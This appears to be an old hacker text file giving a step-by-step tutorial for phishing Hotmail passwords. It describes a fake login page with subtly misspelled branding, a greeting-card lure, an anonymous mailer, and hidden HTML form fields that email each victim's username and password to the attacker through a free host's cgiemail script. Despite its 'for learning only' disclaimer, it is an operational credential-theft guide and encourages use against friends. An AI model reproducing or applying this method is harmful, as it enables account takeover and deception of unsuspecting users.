

Hotmail Password Highjack

A NEW Innovation for *HDD SLAYER*.

THIS TEXT FILE WAS MADE FOR LEARNING HOW TO USE YOUR BRAIN IN COMPUTERS AND NOT THINK IN ONE WAY, THIS TEXT IS NOT BEING RELEASED FOR CRIMINAL USES, DESPITE THE HEADER OR TITLE, THIS IS REALESED ONLY FOR LEARNING, ANY USES OF THIS METHOD IN AN ILLIGAL WAY WILL NOT MAKE ME RESPONSIBLE FOR ANY DAMMAGE.

- To do this you need to : - Have some Html Knowledge (If you don't you wont get every thing in this texts)
- Have a free web page server (www.freeservers.com will be explained in this text only)
 - An anonymous mailer (A good one is Ghost Mailer ver. 5.1 or any other might work)

As a beginning I want to introduce myself. I am hacker that has been learning for years, I'm not new at this but I haven't revealed myself to public until this day. My whole hacking job is simply done for standing up for my own country, and myself, not for freaking people out and enjoying disasters.

Lots of people are really struggling out there wanting hackers to get some others peoples hotmail account password, and they end up giving their own password out to a scam or lie. My question is why don't you go and get the password yourself, learn to reach your goal, and don't let others do your dirty work. But beware this method if used in an illegal way might put you away in bars for a couple of months and not being allowed to use computers for awhile. Using it with friends and people you know is not a problem, and its better telling them you got their password after a while, but I don't recommend using it for crime and not for fun.

LETS BEGIN. This method is done buy making a free web page of your own and it must contain an email sending CGI script in it. For example www.freeservers.com offer you "field result emailing by the use of CGI scripts." And ill be showing you how to use Freeservers, you can use any other web servers of your choose with the requirements in it, but you'll have to do it your self"

The requirements I asked for are for making a fake Hotmail page with fields in it. Once these fields are filled it will be sent to your email. These fields are the email field and password field. So you now should make a page almost official to Hotmail but with small differences which are barely clear, that's because if you get in trouble. The page must be close to this one bellow. Call the page you made index.htm and you must name the fields (password For the password field) (name for the e-mail field).

To continue with checking your Greeting card you must confirm your password and email address.

Sign-in name @hotmail.com

Password

Mincirtot
.net Passport

As you see at the top you can see that the MSN logo was changed to MSM and the passport was made pasport, and what you barely see over the .net logo is not Microsoft but Mincirtot, But still they are unnoticeable and at the same time it is your safety belt. Now once you have finished this page make a new one with a fake greeting card in it and call it success.htm. here is an example. And put the greeting in a page which will look like a real greeting, I wont discuss details I'm just giving the idea to others.

Now make a page that is displayed if the person doesn't fill in the fields. And call it error.htm. Here is an example.

Error

You have left a field empty or un-correctly filled please [click here](#) to try again.

Now comes the part where only Freeserver users are going to benefit. To do this part open your index.htm page on the html code and add the codes below. (Only Freeservers are explained),

```
<form method="POST" action="/cgi-bin/cgiemail"> THIS PART IS TO MAKE THE  
FIELDS POST TO THE CGI-BIN TO THE CGIEMAIL, YOU WILL FIND THIS CODE FOUND IF  
YOU USE A WEB PAGE MAKER LIKE FRONT PAGE, ALL YOU NEED TO DO IS MAKE SURE IT  
IS LIKE THIS, YOU MUST CHANGE IT TO THIS CODE EXACTLLY.
```

```
<INPUT TYPE="HIDDEN" NAME="cgiemail_username" VALUE="YOUR EMAIL HERE"> THIS  
CODE IS PUT TO GIVE AN ORRDER TO SEND YOU THE RESULTS OF THE FIELDS TO YOUR  
EMAIL. DON'T CHANGE ANYTHING BUT THE EMAIL.
```

```
<INPUT TYPE="hidden" NAME="cgiemail_timeformat" VALUE="date: %m/%d/%y%ntime:  
%H:%M:%S"> THIS CODE GIVES YOU THE TIME AT THE USERS COMPUTER.
```

```
<INPUT TYPE="HIDDEN" NAME="cgiemail_html" VALUE="success.htm"> THIS CODE  
WILL REDIRECT A SUCCSESSFUL RESULT TO THE success.htm.
```

```
<INPUT TYPE="HIDDEN" NAME="cgiemail_required" VALUE="password"> THIS CODE  
WILL ADD THE PASSWORD FIELD TO THE EMAIL SO ITS RESULT IS SENT TO YOU
```

```
<INPUT TYPE="HIDDEN" NAME="cgiemail_required" VALUE="name"> THIS CODE WILL  
ADD THE EMAIL NAME OF THE RESULTS TO YOUR EMAIL
```

```
<INPUT TYPE="HIDDEN" NAME="cgiemail_error" VALUE="error.htm"> THIS CODE WILL  
REDIRECT AN EMPTY FIELD TO THE ERROR PAGE.
```

By this method you have finished your fake hotmail web pages, and you just have to upload you web pages to the Internet and you can do this from the file manager in the site, then choose the upload files from the pull down field.

After you have done this part you must make an email message that will redirect the person checking the mail to your fake hotmail pages. This message must be an htm or html file, you can make it using Front Page then copy the html code to a message body and then send it to your self for a check. If you want to stay anonymous use a email anonymous sender a good one is Ghost Mail v5.1, I'm not sure from where you can get it but some others work as good to. You can make a page that looks like this one below.
